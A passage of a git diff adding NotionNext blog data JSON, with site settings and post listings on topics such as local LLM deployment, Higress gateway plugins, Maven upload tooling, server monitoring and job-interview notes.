API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241206-rdk.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241206-rdk.json new file mode 100644 index 000000000..51a7ac77e --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241206-rdk.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":"","blockMap":{"block":{"154f5010-17f2-8079-beb8-c6a44f0aa69c":{"value":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","version":461,"type":"page","content":["154f5010-17f2-81d7-b8a6-d1ec508228b7","154f5010-17f2-8113-bf34-e712ed6b2097","154f5010-17f2-817b-8476-fe64ebfe8256","154f5010-17f2-81cb-97e2-d37ef97bef34","154f5010-17f2-8101-a443-d1c4a4e9f6f9","154f5010-17f2-80af-8e27-e679459a0b63","154f5010-17f2-8080-8364-e518a762df40","154f5010-17f2-8035-9c6c-e0508c7c2a70","154f5010-17f2-80e8-91af-d24fba78109f","154f5010-17f2-8091-9521-e430ba8524d2","154f5010-17f2-80f6-8100-e5513203a153","154f5010-17f2-802d-9adb-f2ca1eaf58d5","154f5010-17f2-8149-a7db-c3110729f8ab","154f5010-17f2-80b8-b31f-ca5f116e2304","154f5010-17f2-8037-9542-cfacf3283b7a","154f5010-17f2-801c-a915-df7d512f9c85","154f5010-17f2-80ce-bee9-d9ef2cca91d7","154f5010-17f2-8049-9c85-e67ace1a69e8","154f5010-17f2-804f-a6ff-fb6cdd30ee03","154f5010-17f2-80de-9129-de67864696dc","154f5010-17f2-805c-86fd-e6b9b26c3649","154f5010-17f2-80bc-af6e-fe918cbe17be","154f5010-17f2-8046-abaa-ea286120b26b","154f5010-17f2-8038-ac96-c140e53cc7d0","154f5010-17f2-8027-bbc8-f0b2a69b5e57","154f5010-17f2-802e-a450-f4dbdb636dbe","154f5010-17f2-8014-9161-d508012fead1","154f5010-17f2-804c-a15f-d4e171174a49","154f5010-17f2-80b1-96b3-f2bd751e1c43","154f5010-17f2-8032-b83b-f3e8a9e78726","154f5010-17f2-8088-8198-ea08d66d7239","154f5010-17f2-8098-9dfb-dca03ae90a7a","154f5010-17f2-803e-ad7d-d6b6fa086e39","154f5010-17f2-80c6-afa7-fb8847a83eb3","154f5010-17f2-8082-9694-fc14ea7a5cff","154f5010-17f2-802f-bdb4-ef1db89f66fe","154f5010-17f2-809d-8d68-d2d378b6bacb","154f5010-17f2-8161-8d22-e0b367832833","154f5010-17f2-814e-86d7-e07a208d0a5c","154f5010-17f2-80a0-9a27-fb647ce77b0a","154f5010-17f2-80c6-a5d3-fa2a591c3798","154f5010-17f2-81dd-b3f6-dbff7965c44e","154f5010-17f2-8104-899f-fa5e60b7413b","154f5010-17f2-81b4-b825-ed13e1e77ab6"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5,"social_m